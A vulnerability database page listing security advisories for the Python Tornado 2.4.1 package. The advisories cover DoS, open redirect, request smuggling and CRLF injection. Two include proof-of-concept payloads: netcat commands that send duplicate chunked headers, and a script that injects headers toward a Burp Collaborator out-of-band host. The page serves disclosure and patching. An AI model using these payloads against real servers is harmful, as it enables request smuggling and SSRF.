Search for packages
| purl | pkg:pypi/tornado@2.4.1 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-3y8v-vsd8-ubba
Aliases: CVE-2024-52804 GHSA-8w49-h785-mj3c |
Tornado has an HTTP cookie parsing DoS vulnerability The algorithm used for parsing HTTP cookies in Tornado versions prior to 6.4.2 sometimes has quadratic complexity, leading to excessive CPU consumption when parsing maliciously-crafted cookie headers. This parsing occurs in the event loop thread and may block the processing of other requests. See also CVE-2024-7592 for a similar vulnerability in cpython. |
Affected by 3 other vulnerabilities. |
|
VCID-62bx-a5uf-j3b4
Aliases: CVE-2025-47287 GHSA-7cx3-6m66-7c5m |
Tornado vulnerable to excessive logging caused by malformed multipart form data ### Summary When Tornado's ``multipart/form-data`` parser encounters certain errors, it logs a warning but continues trying to parse the remainder of the data. This allows remote attackers to generate an extremely high volume of logs, constituting a DoS attack. This DoS is compounded by the fact that the logging subsystem is synchronous. ### Affected versions All versions of Tornado prior to 6.5 are affected. The vulnerable parser is enabled by default. ### Solution Upgrade to Tornado version 6.5. In the meantime, risk can be mitigated by blocking `Content-Type: multipart/form-data` in a proxy. |
Affected by 2 other vulnerabilities. |
|
VCID-6knn-nt2y-1uem
Aliases: CVE-2023-28370 GHSA-hj3f-6gcp-jg8j PYSEC-2023-75 |
Open redirect vulnerability in Tornado versions 6.3.1 and earlier allows a remote unauthenticated attacker to redirect a user to an arbitrary web site and conduct a phishing attack by having user access a specially crafted URL. |
Affected by 7 other vulnerabilities. |
|
VCID-8kva-hv12-9ydc
Aliases: CVE-2014-9720 GHSA-8vpw-mgpf-mpvv PYSEC-2020-213 |
Tornado before 3.2.2 sends arbitrary responses that contain a fixed CSRF token and may be sent with HTTP compression, which makes it easier for remote attackers to conduct a BREACH attack and determine this token via a series of crafted requests. |
Affected by 8 other vulnerabilities. |
|
VCID-be89-uuxa-fyb5
Aliases: CVE-2026-31958 GHSA-qjxf-f2mg-c6mc |
Tornado is vulnerable to DoS due to too many multipart parts In versions of Tornado prior to 6.5.5, the only limit on the number of parts in `multipart/form-data` is the `max_body_size` setting (default 100MB). Since parsing occurs synchronously on the main thread, this creates the possibility of denial-of-service due to the cost of parsing very large multipart bodies with many parts. Tornado 6.5.5 introduces new limits on the size and complexity of multipart bodies, including a default limit of 100 parts per request. These limits are configurable if needed; see `tornado.httputil.ParseMultipartConfig`. It is also now possible to disable `multipart/form-data` parsing entirely if it is not required for the application. |
Affected by 0 other vulnerabilities. |
|
VCID-e25f-6gkj-vfgw
Aliases: GHSA-753j-mpmx-qq6g |
Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado ### Summary When Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this. ### PoC 0. Install Tornado. 1. Start a simple Tornado server that echoes each received request's body: ```bash cat << EOF > server.py import asyncio import tornado class MainHandler(tornado.web.RequestHandler): def post(self): self.write(self.request.body) async def main(): tornado.web.Application([(r"/", MainHandler)]).listen(8000) await asyncio.Event().wait() asyncio.run(main()) EOF python3 server.py & ``` 2. Send a valid chunked request: ```bash printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 3. Observe that the response is as expected: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:32:05 GMT Content-Length: 1 Z ``` 4. Send a request with two `Transfer-Encoding: chunked` headers: ``` printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 5. Observe the strange response: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:35:40 GMT Content-Length: 0 HTTP/1.1 400 Bad Request ``` This is because Tornado believes that the request has no message body, so it tries to interpret `1\r\nZ\r\n0\r\n\r\n` as its own request, which causes a 400 response. With a little cleverness involving `chunk-ext`s, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure. ### Impact Anyone using Tornado behind a proxy that forwards requests containing multiple `Transfer-Encoding: chunked` headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization. |
Affected by 4 other vulnerabilities. |
|
VCID-jbwv-ayru-8fgm
Aliases: GHSA-78cv-mqj4-43f7 |
Tornado has incomplete validation of cookie attributes Values passed to the `domain`, `path`, and `samesite` arguments of `RequestHandler.set_cookie` were not completely validated in versions of Tornado prior to 6.5.5. In particular, semicolons would be allowed, which could be used to inject attacker-controlled values for other cookie attributes. |
Affected by 0 other vulnerabilities. |
|
VCID-jf6j-dngc-6qdp
Aliases: GHSA-qppv-j76h-2rpx GMS-2023-1908 |
Tornado vulnerable to HTTP request smuggling via improper parsing of `Content-Length` fields and chunk lengths ## Summary Tornado interprets `-`, `+`, and `_` in chunk length and `Content-Length` values, which are not allowed by the HTTP RFCs. This can result in request smuggling when Tornado is deployed behind certain proxies that interpret those non-standard characters differently. This is known to apply to older versions of haproxy, although the current release is not affected. ## Details Tornado uses the `int` constructor to parse the values of `Content-Length` headers and chunk lengths in the following locations: ### `tornado/http1connection.py:445` ```python3 self._expected_content_remaining = int(headers["Content-Length"]) ``` ### `tornado/http1connection.py:621` ```python3 content_length = int(headers["Content-Length"]) # type: Optional[int] ``` ### `tornado/http1connection.py:671` ```python3 chunk_len = int(chunk_len_str.strip(), 16) ``` Because `int("0_0") == int("+0") == int("-0") == int("0")`, using the `int` constructor to parse and validate strings that should contain only ASCII digits is not a good strategy. |
Affected by 6 other vulnerabilities. |
|
VCID-y14s-8wpj-wygd
Aliases: GHSA-w235-7p84-xx57 |
Tornado has a CRLF injection in CurlAsyncHTTPClient headers ### Summary Tornado’s `curl_httpclient.CurlAsyncHTTPClient` class is vulnerable to CRLF (carriage return/line feed) injection in the request headers. ### Details When an HTTP request is sent using `CurlAsyncHTTPClient`, Tornado does not reject carriage return (\r) or line feed (\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using `CurlAsyncHTTPClient`, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server. This behavior differs from that of the standard `AsyncHTTPClient` class, which does reject CRLF characters. This issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the [`HTTPHEADER`](https://curl.se/libcurl/c/CURLOPT_HTTPHEADER.html) option. libcurl’s documentation states: > The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters. pycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by `CurlAsyncHTTPClient`, including any control characters that have special meaning in HTTP semantics. ### PoC The issue can be reproduced using the following script: ```python import asyncio from tornado import httpclient from tornado import curl_httpclient async def main(): http_client = curl_httpclient.CurlAsyncHTTPClient() request = httpclient.HTTPRequest( # Burp Collaborator payload "http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/", method="POST", body="body", # Injected header using CRLF characters headers={"Foo": "Bar\r\nHeader: Injected"} ) response = await http_client.fetch(request) print(response.body) http_client.close() if __name__ == "__main__": asyncio.run(main()) ``` When the specified server receives the request, it contains the injected header (`Header: Injected`) on its own line: ```http POST / HTTP/1.1 Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com User-Agent: Mozilla/5.0 (compatible; pycurl) Accept: */* Accept-Encoding: gzip,deflate Foo: Bar Header: Injected Content-Length: 4 Content-Type: application/x-www-form-urlencoded body ``` The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of `\r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com` results in the server receiving an additional, attacker-controlled request: ```http POST /attacker-controlled-url HTTP/1.1 Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com Content-Length: 4 Content-Type: application/x-www-form-urlencoded body ``` ### Impact Applications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities. |
Affected by 4 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| This package is not known to fix vulnerabilities. | ||